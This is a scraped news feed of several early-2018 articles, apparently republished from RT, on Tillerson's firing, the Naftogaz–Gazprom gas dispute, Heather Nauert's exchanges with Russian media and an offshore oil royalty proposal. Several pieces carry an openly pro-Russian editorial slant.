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]]> https://briefnews.eu/us-state-dept-spent-9mn-on-soros-backed-meddling-in-albanian-politics/feed/ 0 High-ranking State Dept. official sacked after saying Tillerson was fired in a tweet https://briefnews.eu/high-ranking-state-dept-official-sacked-after-saying-tillerson-was-fired-in-a-tweet/ https://briefnews.eu/high-ranking-state-dept-official-sacked-after-saying-tillerson-was-fired-in-a-tweet/#respond Wed, 14 Mar 2018 03:00:40 +0000 http://briefnews.eu/high-ranking-state-dept-official-sacked-after-saying-tillerson-was-fired-in-a-tweet/ State Department Under Secretary Steve Goldstein was fired after he said his boss, US Secretary of State Rex Tillerson, was surprised by President Donald Trump’s decision to oust him. He will be replaced by Heather Nauert.

Goldstein, who took the job on December 4, was fired on Tuesday, shortly after he issued a statement suggesting that former Secretary of State Rex Tillerson was in the dark about his departure and learned the news not from the president himself, but from his tweets.

“The Secretary had every intention of remaining because of the tangible progress made on critical national security issues,” Goldstein, the fourth highest-ranking official at the State Department and Tillerson’s top aide, said in a statement.

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US Marines participate in Juniper Cobra, a U.S.-Israeli joint air defence exercise, in Zeelim, southern Israel, March 12, 2018. © Amir Cohen

He claimed that Tillerson “did not speak to the President this morning and is unaware of the reason.”

In a few hours, Goldstein followed his boss into retirement.

Prior to his firing, Goldstein told CNN that Tillerson learned of his termination through one of Trump’s tweets, which was shown to him by an aide. Trump later told reporters he didn’t discuss the impending ousting with Tillerson “very much,” but indicated that the decision did not come out of the blue either, saying the two had “talked about this for a long time.”

It is unclear what exactly set Trump off. While speaking about his motives, he referred to long-standing disagreements over the Iran nuclear deal, of which Tillerson was a proponent.

Exactly when the final decision was made is also up for speculation. AP reported, citing White House officials, that White House Chief of Staff John Kelly phoned Tillerson on Friday to tell him that Trump wanted him to go. Tillerson reportedly wanted to discuss it with the President in person, and cut his Africa trip short for that reason.

According to another account of the events, Kelly was not so clear about the president’s intentions when he spoke to Tillerson. The New York Times reported, citing a senior State Department official, that Kelly merely told Tillerson that he “may get a tweet” and advised him to wrap up his Africa tour.

As the chain of events unfolded, another two State Department officials, Tillerson’s chief of staff, Margaret Peterlin, and Deputy Chief of Staff Christine Ciccone both filed resignation letters, CNN reported, citing senior State  Department officials. Confirming the reports that Tillerson and his staff were surprised by the sudden government reshuffle, it cited a Tillerson aide who said that “everyone is totally shocked.”

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Rex Tillerson speaks to the media after being fired by President Donald Trump. March 13, 2018. © Leah Millis

In his farewell remarks, Tillerson did not mention the reason for his departure, only stating that he received a call from the president “a little after noontime from Air Force One,” which was several hours after the tweet was posted.

Goldstein is being replaced by State Department spokesperson and former Fox News host Heather Nauert.

Nauert has fully embraced Washington’s anti-Russian narrative, courting controversy for snubbing Russian journalists during a press briefing earlier this month and unleashing a massive anti-Russian campaign on Twitter, blaming Moscow for Syria’s east Ghouta standoff, praising Oscar-winning “Icarus” for shedding light on the alleged state-sponsored doping system in Russia and commending Ukraine for taking a stand against Russian energy giant Gazprom in defiance of its contract obligations.

While the timeline surrounding Tillerson’s ousting is still disputed, some commentators linked it to the statement he made on Monday, regarding a case of former double agent Sergey Skripal, poisoned by what the UK claims is a military-grade nerve gas that originated from Russia. Tillerson said that he has “full confidence” in the UK government’s assessment that Russia is “likely” behind the attack.

Attempts to link Tillerson’s fall from grace to his criticism of Moscow, however, are inherently flawed, since his replacement, former CIA Director Mike Pompeo, is known to be particularly hard on Russia. Appointed as the CIA chief in November 2016, Pompeo has repeatedly called Russia a major threat to the US’ interests.

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]]> https://briefnews.eu/high-ranking-state-dept-official-sacked-after-saying-tillerson-was-fired-in-a-tweet/feed/ 0 Ukraine’s Naftogaz head claims Ukrainians over-consumed, as US State Dept praises Kiev gas cuts https://briefnews.eu/ukraines-naftogaz-head-claims-ukrainians-over-consumed-as-us-state-dept-praises-kiev-gas-cuts/ https://briefnews.eu/ukraines-naftogaz-head-claims-ukrainians-over-consumed-as-us-state-dept-praises-kiev-gas-cuts/#respond Thu, 08 Mar 2018 18:41:31 +0000 http://briefnews.eu/ukraines-naftogaz-head-claims-ukrainians-over-consumed-as-us-state-dept-praises-kiev-gas-cuts/ The Ukrainians were clearly over-consuming gas during periods when Russia’s Gazprom was supplying it, Naftogaz CEO said, days after Gazprom terminated its contract with the Ukrainian company and new gas shortages were revealed.

Speaking at the CERAWeek annual energy conference in Houston, Texas, Andrey Kobolyev claimed that Ukraine had become a “victim of a vicious circle” of Russian gas consumption. “We had giant and ineffective consumption,” he said, adding that “Ukraine used six times as much gas as any European country” if one takes into account how much gas one household spent on a per-square-meter basis.

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FILE PHOTO: A man prepares firewood at the village © Konstantin Chernichkin

The Ukrainian energy company head then, predictably, went on to blame “populist politicians, who were enjoying strong support from Russia” for such a state of affairs. At the same time, he admitted that the Ukrainian households bought natural gas for a reduced cost that accounted for just five percent of its real market cost, before Naftogaz de facto ceased buying gas from Gazprom. That did not stop him from calling this fact just another “reason for excessive consumption.”

“We are still far from the European standards and we still have to reduce our [gas] consumption,” Kobolyev added.

The statements came roughly a week after the Russian state-run gas giant Gazprom announced that it would no longer provide gas shipments to Naftogaz, starting March 1, as the two sides failed to reach an agreement on a supply contract. This forced the Ukrainian authorities to drastically limit gas consumption because of a gas reserves shortage.

The move was quickly hailed in Washington. “The Ukrainian citizens have inspired the world by pulling together to reduce gas consumption by 14% last week to ensure reliable gas delivery to European customers. Gazprom has failed in its attempt to portray Ukraine & Naftogaz as unreliable transit partners,” the US State Department spokesperson, Heather Nauert, wrote on Twitter.

In reality, the level of gas consumption in Ukraine at local level does not affect Russia’s gas supplies to Europe, as this gas is transited through a separate pipeline. On March 2, Gazprom announced that it would terminate its contracts with Naftogaz for the supply and transit of natural gas. It added that it does not plan to cease its gas supplies to Europe and would not stop any gas flow to Europe any time soon.

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Valves and pipelines are pictured at the Gaz-System gas distribution station in Gustorzyn, Poland © Wojciech Kardas/Agencja Gazeta

It also appears that gas cuts in Ukraine had nothing to do with civilians willingly tightening their belts, as the Ukrainian authorities in fact ordered the closure of schools and kindergartens in many regions of the country and made thermal power plants switch to diesel fuel because of the gas reserves shortage. Despite these facts, Kiev still opted for buying expensive gas in Europe instead of settling its disputes with Gazprom.

According to Ukraine’s Naftogaz Commercial Director Yury Vitrenko, the average price of gas from European suppliers in March this year exceeded the price of gas from Gazprom by almost 34 percent. Still, Kiev used the energy supply shortage to once again stir up anti-Russian sentiments. On March 2, Naftogaz called on Ukrainians to “stick out a bit longer” by reducing gas consumption to literally spite Gazprom and the Russian President Vladimir Putin personally. The Ukrainian citizens were urged to endure low temperatures and cold weather until it “gets warmer.”

Russia’s Gazprom and Ukraine’s Naftogaz engaged in a bitter legal dispute back in 2014. Gazprom and Naftogaz signed a contract for the supply of gas from Russia to Ukraine in January 2009 until the end of 2019. Under the agreement, Ukraine was to buy 40 billion cubic meters of gas per year. From 2010, the volume rose to 52 billion cubic meters annually.

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© Egor Eryomov

Since 2012, Naftogaz has ceased buying the contracted volume, and stopped buying Russian gas entirely in November 2015, replacing it with reverse gas supplies from Europe. Gazprom then demanded penalties from Naftogaz for insufficient withdrawal of gas by the Ukrainian side. It also requested payment of the debt for gas delivered to Ukraine between May and June 2014. Naftogaz pushed for a retroactive change in the price of gas, the reimbursement of overpayments and a repeal of the ban on reselling Russian gas.

The dispute was brought to the Arbitration Institute of the Stockholm Chamber of Commerce. The Swedish court eventually ruled that Naftogaz has to pay slightly more than $ 2 billion to Gazprom, with a $ 600,000 fine added for every day of non-payment.

However, it also ordered Gazprom to compensate Naftogaz $ 4.6 billion for what the latter sees as lost profit from the transit of Russian gas to Europe. It then justified its decision by referring to a difficult economic situation in Ukraine. The Head of Gazprom, Alexey Miller, called the court’s decision “asymmetric” and “very politically motivated.”

On Wednesday, Ukrainian authorities started to seize assets belonging to Gazprom in what they called compliance with the decision of the Stockholm court. They also said they would collect a fine from the Russian gas giant over its alleged violation of the Ukrainian anti-monopoly legislation.

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]]> https://briefnews.eu/ukraines-naftogaz-head-claims-ukrainians-over-consumed-as-us-state-dept-praises-kiev-gas-cuts/feed/ 0 ‘Something broken in US State Dept?’ Russian Embassy bewildered by Nauert’s Twitter eruption https://briefnews.eu/something-broken-in-us-state-dept-russian-embassy-bewildered-by-nauerts-twitter-eruption/ https://briefnews.eu/something-broken-in-us-state-dept-russian-embassy-bewildered-by-nauerts-twitter-eruption/#respond Thu, 08 Mar 2018 06:45:20 +0000 http://briefnews.eu/something-broken-in-us-state-dept-russian-embassy-bewildered-by-nauerts-twitter-eruption/ The Russian Embassy in Washington DC believes that something might be “broken” in the US State Department, given the recent barrage of tweets targeting Moscow by spokesperson Heather Nauert.

Over the last 24 hours, Heather Nauert has unleashed a massive anti-Russian campaign on Twitter: Blaming Russia for civilian casualties in Syria; praising the controversial Oscar-winning ‘Icarus’ documentary for exposing Putin’s “disregard for international rules”; and glorifying Ukraine for its sacrifice to “ensure reliable gas delivery to European customers” in the face of Gazprom aggression.

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State Department Spokesperson Heather Nauert © Mandel Ngan

While anti-Russian rhetoric coming out of Washington is nothing new, the latest Twitter spasm has raised eyebrows at the Russian embassy in the US.“We always assumed that Heather Nauert closely follows events in the world and inside the State Department. However, in the last couple of days, something seems to have broken in her department,” the embassy said, in a statement to RT.

“We hear a stream of ‘fake news’ – about Russia’s atrocities against the peaceful population of East Ghouta, about the gas ‘heroism’ of [Ukrainian President] Poroshenko, and sincere joy over the Oscar award to the story about the inventor of an alcohol doping-cocktail.”

The embassy has been particularly concerned by the “disinformation” surrounding a possible meeting between Russian Foreign Minister Sergey Lavrov and his US counterpart Rex Tillerson.

“Our relationship with Russia is not at a point where it looks like it is going to be normalized anytime soon,” Nauert said on Tuesday, during a press briefing, claiming that Tillerson never received an invitation from Russian officials to meet with Lavrov during his five-day tour in Africa this week, during which both officials will be in Ethiopia at the same time on March 9.

The Russian Embassy argued that Moscow had sent a request for a possible meeting to the State Department on March 2. In its statement to RT, the embassy emphasized that this would be a great opportunity to discuss a range of accumulated issues on regional and global agenda “not through the press, but directly.”

“In any case, we congratulate Nauert and, of course, all female employees of the State Department on International Women’s Day!” the embassy cheerfully added.

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]]> https://briefnews.eu/something-broken-in-us-state-dept-russian-embassy-bewildered-by-nauerts-twitter-eruption/feed/ 0 Interior Dept. wants to lower royalties that offshore oil, coal companies pay https://briefnews.eu/interior-dept-wants-to-lower-royalties-that-offshore-oil-coal-companies-pay/ https://briefnews.eu/interior-dept-wants-to-lower-royalties-that-offshore-oil-coal-companies-pay/#respond Mon, 05 Mar 2018 02:00:56 +0000 http://briefnews.eu/interior-dept-wants-to-lower-royalties-that-offshore-oil-coal-companies-pay/

Enlarge / Oil platform in the Gulf of Mexico. There are nearly 5,000 functioning oil platforms in the Gulf of Mexico, and 27,000 abandoned wells. (Photo by: Dave Walsh/VW Pics/UIG via Getty Images) (credit: Getty Images)

Last week the Interior Department’s Royalty Policy Committee issued a recommendation suggesting that Interior Secretary Ryan Zinke lower royalty rates for offshore oil and gas drilling on seabed owned by the US government. If Zinke approves of the recommendation royalties from offshore drilling would drop from 18.75 percent to 12.5 percent, the lowest royalty rate permitted by the federal government.

Given the relatively price and abundance of oil in the world market today and the expense of executing new offshore drilling operations, the committee’s recommendation could make it more attractive for drilling companies to consider bidding for offshore oil leases. Zinke announced earlier this year that he would make up to 90 percent of US federal waters open to oil drilling, but there has been considerable pushback from states and muted enthusiasm from companies that will have to undertake years of ramp-up before they see marketable oil.

Currently, offshore oil operations on federal lands require that companies pay 18.75 percent in royalties back to the federal government. If Zinke approves of the recommendation, the new royalty rate would not be applied retroactively, according to The Hill. But any new offshore oil drilling contracts would be able to take advantage of the new rate.

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]]> https://briefnews.eu/interior-dept-wants-to-lower-royalties-that-offshore-oil-coal-companies-pay/feed/ 0 ‘Oh, you're from Russian media? Next question!’ US State Dept snubs journalists during briefing https://briefnews.eu/oh-youre-from-russian-media-next-question-us-state-dept-snubs-journalists-during-briefing/ https://briefnews.eu/oh-youre-from-russian-media-next-question-us-state-dept-snubs-journalists-during-briefing/#respond Fri, 02 Mar 2018 04:31:51 +0000 http://briefnews.eu/oh-youre-from-russian-media-next-question-us-state-dept-snubs-journalists-during-briefing/ US State Department spokeswoman Heather Nauert’s refusal to take questions from Russian TV raised eyebrows, even among US journalists, who took to their Russian colleagues’ defense after Nauert implied they are Kremlin agents.

Nauert went on an ill-mannered tirade against the Russian media when she responded to a question from Rossya 1 TV journalist Aleksandr Khristenko during a policy briefing on Thursday. Khristenko asked about the prospects of the US and Russia cooperating on nuclear non-proliferation in light of Russian President Vladimir Putin’s remarks during the state-of-the-nation address on Thursday.

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Vladimir Putin delivering his annual address to the Federal Assembly on March 1, 2018

In the address, Putin unveiled the newest additions to Russia’s nuclear deterrents, including the next-generation Sarmat ICBM that is capable of attacking across the South and North Pole as well as the yet-unnamed nuclear cruise missiles. The speech incorporated videos, which showed missile test launches and a simulation of their trajectory to demonstrate the nearly unlimited range of the ICBMs. The videos did not show the moment of impact or presumable targets of a nuclear-powered strike.     

Nauert had no doubts that the simulation was an attack on America. “It’s certainly concerning to see your government, your country, to put together that kind of video that shows the Russian government attacking the United States, that’s certainly a concern of us, and I don’t think that it’s very constructive, nor it’s responsible,” she said, answering Khristenko.

Then, another journalist from Russia’s Channel One pointed out that the two missiles shown in the simulation videos were actually sent in different directions and nothing suggests they were aimed at the US.

Nauert asked the journalist where she was from. Upon hearing the answer, the diplomat exclaimed:

“You’re from Russian TV too! OK! Enough said then, I’ll move on,” Nauert said.

Her answer prompted a journalist from CNN, who was otherwise an unlikely defender of the Russian media, to break in: “I’m sorry. But what does that mean? There are not officials of the Russian government, they are just asking a question about Russia.”

This caused Nauert to jump to her favorite Russia narrative of bashing Russian media as “the long arm” of the Kremlin.

“Oh really? OK! We know that RT and other Russian news – so-called news – organizations are funded and directed by the Russian government,” she said to a briefing room buzzing with bemused journalists.

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© RT

Matt Lee, a veteran reporter from AP, again pointed out the obvious, telling Nauert that the “video does not actually show missiles hitting anything,” and asked her if it was the “assessment of the US government” that the presumed target was the United States.

Lee, who was previously called out by Nauert for “working for RT” when he asked a similarly innocuous question about the searches in the Russian consulate in the US, did not elicit a response either. Nauert suggested that everyone interested can watch the video once again.

“It certainly looks like that. I ask you go back and take look at that. It’s pretty clear what their target is. OK? Let’s move on from this.”

It is certainly not the first time Nauert has launched an attack on the Russian media in response to tricky questions. She dubbed RT correspondent Sameera Khan “a representative of the Russian government” at a briefing in December when Khan asked if the State Department still believes that RT’s work in the US would not be hindered by its registration under the Foreign Agents Registration Act (FARA) after RT America was stripped of its Congress credentials. While Nauert assured RT that it would not happen back in October, she used air quotes to speak derisively about the “Russian news.”

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]]> https://briefnews.eu/oh-youre-from-russian-media-next-question-us-state-dept-snubs-journalists-during-briefing/feed/ 0 Trump: Leadership of FBI & Justice Dept politicized investigative process in favor of Democrats https://briefnews.eu/trump-leadership-of-fbi-justice-dept-politicized-investigative-process-in-favor-of-democrats/ https://briefnews.eu/trump-leadership-of-fbi-justice-dept-politicized-investigative-process-in-favor-of-democrats/#respond Fri, 02 Feb 2018 12:03:26 +0000 http://briefnews.eu/trump-leadership-of-fbi-justice-dept-politicized-investigative-process-in-favor-of-democrats/

Donald Trump has lashed out at the leadership and investigators at the FBI and the Justice Department, saying that they politicized “the sacred investigative process” in favor of Democrats and against Republicans.

The US president attacked both authorities on Twitter by saying that their political bias is “something which would have been unthinkable just a short time ago.”

Trump’s accusations come just as the White House is expected released a secret memo alleging FBI bias against the US president. On Monday night, the House Intelligence Committee approved the public release of the memo. 

DETAILS TO FOLLOW

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]]> https://briefnews.eu/trump-leadership-of-fbi-justice-dept-politicized-investigative-process-in-favor-of-democrats/feed/ 0